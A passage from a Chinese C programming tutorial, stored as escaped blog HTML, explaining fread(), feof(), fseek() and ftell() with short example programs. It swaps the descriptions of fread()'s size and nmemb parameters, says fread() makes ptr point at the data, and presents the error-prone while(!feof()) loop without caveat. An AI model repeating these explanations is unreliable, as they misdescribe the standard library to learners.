class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003efread\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* ptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE* fp\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受四个参数,与\u003ccode\u003efwrite()\u003c/code\u003e完全相同。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eptr\u003c/code\u003e:数组地址。\u003c/li\u003e\u003cli\u003e\u003ccode\u003esize\u003c/code\u003e:数组的成员数量。\u003c/li\u003e\u003cli\u003e\u003ccode\u003enmemb\u003c/code\u003e:每个数组成员的大小。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efp\u003c/code\u003e:文件指针。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e要将文件内容读入数组\u003ccode\u003earr\u003c/code\u003e,可以采用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efread(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组长度(第二个参数)和每个成员的大小(第三个参数)的乘积,就是数组占用的内存空间的大小。\u003ccode\u003efread()\u003c/code\u003e会从文件(第四个参数)里面读取相同大小的内容,然后将\u003ccode\u003eptr\u003c/code\u003e(第一个参数)指向这些内容的内存地址。\u003c/p\u003e\u003cp\u003e下面的例子是将文件内容读入一个10个成员的双精度浮点数数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e earnings[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efread(earnings, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e), \u003cspan class=\"number\"\u003e10\u003c/span\u003e, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每个数组成员的大小是\u003ccode\u003esizeof(double)\u003c/code\u003e,一个有10个成员,就会从文件\u003ccode\u003efp\u003c/code\u003e读取\u003ccode\u003esizeof(double) * 10\u003c/code\u003e大小的内容。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efread()\u003c/code\u003e函数的返回值是成功读取的数组成员的数量。正常情况下,该返回值就是第三个参数\u003ccode\u003enmemb\u003c/code\u003e,但如果出现读取错误或读到文件结尾,该返回值就会比\u003ccode\u003enmemb\u003c/code\u003e小。所以,检查\u003ccode\u003efread()\u003c/code\u003e的返回值是非常重要的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efread()\u003c/code\u003e和\u003ccode\u003efwrite()\u003c/code\u003e可以配合使用。在程序终止之前,使用\u003ccode\u003efwrite()\u003c/code\u003e将数据保存进文件,下次运行时再用\u003ccode\u003efread()\u003c/code\u003e将数据还原进入内存。\u003c/p\u003e\u003cp\u003e下面是读取上一节生成的二进制文件\u003ccode\u003eoutput.bin\u003c/code\u003e的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;output.bin\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;rb\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (fread(\u0026amp;c, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e), \u003cspan class=\"number\"\u003e1\u003c/span\u003e, fp) \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e运行后,得到如下结果。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e37\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e88\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"feof\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#feof\" class=\"headerlink\" title=\"feof()\"\u003e\u003c/a\u003efeof()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efeof()\u003c/code\u003e函数判断文件的内部指针是否指向文件结尾。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efeof\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *fp)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efeof()\u003c/code\u003e接受一个文件指针作为参数。如果已经到达文件结尾,会返回一个非零值(表示 true),否则返回\u003ccode\u003e0\u003c/code\u003e(表示 false)。\u003c/p\u003e\u003cp\u003e诸如\u003ccode\u003efgetc()\u003c/code\u003e这样的文件读取函数,如果返回 EOF,有两种可能,一种可能是已读取到文件结尾,另一种可能是出现读取错误。\u003ccode\u003efeof()\u003c/code\u003e可以用来判断到底是那一种情况。\u003c/p\u003e\u003cp\u003e下面是通过\u003ccode\u003efeof()\u003c/code\u003e判断是否到达文件结尾,从而循环读取整个文件的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e name[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFILE* cfPtr = fopen(\u003cspan class=\"string\"\u003e\u0026#34;clients.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!feof(cfPtr)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(cfPtr, \u003cspan class=\"string\"\u003e\u0026#34;%d%s\\n\u0026#34;\u003c/span\u003e, \u0026amp;num, name);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %s\\n\u0026#34;\u003c/span\u003e, num, name);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efclose(cfPtr);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例通过循环判断\u003ccode\u003efeof()\u003c/code\u003e是否读到文件结尾,从而实现读出整个文件内容。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efeof()\u003c/code\u003e为真时,可以通过\u003ccode\u003efseek()\u003c/code\u003e、\u003ccode\u003erewind()\u003c/code\u003e、\u003ccode\u003efsetpos()\u003c/code\u003e函数改变文件内部读写位置的指示器,从而清除这个函数的状态。\u003c/p\u003e\u003ch3 id=\"fseek\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fseek\" class=\"headerlink\" title=\"fseek()\"\u003e\u003c/a\u003efseek()\u003c/h3\u003e\u003cp\u003e每个文件指针都有一个内部指示器(内部指针),记录当前打开的文件的读写位置(file position),即下一次读写从哪里开始。文件操作函数(比如\u003ccode\u003egetc()\u003c/code\u003e、\u003ccode\u003efgets()\u003c/code\u003e、\u003ccode\u003efscanf()\u003c/code\u003e和\u003ccode\u003efread()\u003c/code\u003e等)都从这个指示器指定的位置开始按顺序读写文件。\u003c/p\u003e\u003cp\u003e如果希望改变这个指示器,将它移到文件的指定位置,可以使用\u003ccode\u003efseek()\u003c/code\u003e函数。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efseek\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e offset, \u003cspan class=\"type\"\u003eint\u003c/span\u003e whence)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efseek()\u003c/code\u003e接受3个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e:文件指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eoffset\u003c/code\u003e:距离基准(第三个参数)的字节数。类型为 long int,可以为正值(向文件末尾移动)、负值(向文件开始处移动)或 0(保持不动)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewhence\u003c/code\u003e:位置基准,用来确定计算起点。它的值是以下三个宏(定义在\u003ccode\u003estdio.h\u003c/code\u003e):\u003ccode\u003eSEEK_SET\u003c/code\u003e(文件开始处)、\u003ccode\u003eSEEK_CUR\u003c/code\u003e(内部指针的当前位置)、\u003ccode\u003eSEEK_END\u003c/code\u003e(文件末尾)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e请看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件开始处\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e0L\u003c/span\u003e, SEEK_SET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件末尾\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e0L\u003c/span\u003e, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 从当前位置前移2个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e2L\u003c/span\u003e, SEEK_CUR);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件第10个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e10L\u003c/span\u003e, SEEK_SET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定位到文件倒数第10个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e-10L\u003c/span\u003e, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efseek()\u003c/code\u003e的第二个参数为 long 类型,所以移动距离必须加上后缀\u003ccode\u003eL\u003c/code\u003e,将其转为 long 类型。\u003c/p\u003e\u003cp\u003e下面的示例逆向输出文件的所有字节。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (count = \u003cspan class=\"number\"\u003e1L\u003c/span\u003e; count \u0026lt;= size; count++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fseek(fp, -count, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch = getc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003efseek()\u003c/code\u003e最好只用来操作二进制文件,不要用来读取文本文件。因为文本文件的字符有不同的编码,某个位置的准确字节位置不容易确定。\u003c/p\u003e\u003cp\u003e正常情况下,\u003ccode\u003efseek()\u003c/code\u003e的返回值为0。如果发生错误(如移动的距离超出文件的范围),返回值为非零值(比如\u003ccode\u003e-1\u003c/code\u003e)。\u003c/p\u003e\u003ch3 id=\"ftell\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ftell\" class=\"headerlink\" title=\"ftell()\"\u003e\u003c/a\u003eftell()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eftell()\u003c/code\u003e函数返回文件内部指示器的当前位置。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eftell\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数。返回值是一个 long 类型的整数,表示内部指示器的当前位置,即文件开始处到当前位置的字节数,\u003ccode\u003e0\u003c/code\u003e表示文件开始处。如果发生错误,\u003ccode\u003eftell()\u003c/code\u003e返回\u003ccode\u003e-1L\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eftell()\u003c/code\u003e可以跟\u003ccode\u003efseek()\u003c/code\u003e配合使用,先记录内部指针的位置,一系列操作过后,再用\u003ccode\u003efseek()\u003c/code\u003e返回原来的位置。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e file_pos = ftell(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 一系列文件操作之后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, file_pos, SEEK_SET);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面的例子先将指示器定位到文件结尾,然后得到文件开始处到结尾的字节数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e0L\u003c/span\u003e, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esize = ftell(fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"rewind\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#rewind\" class=\"headerlink\" 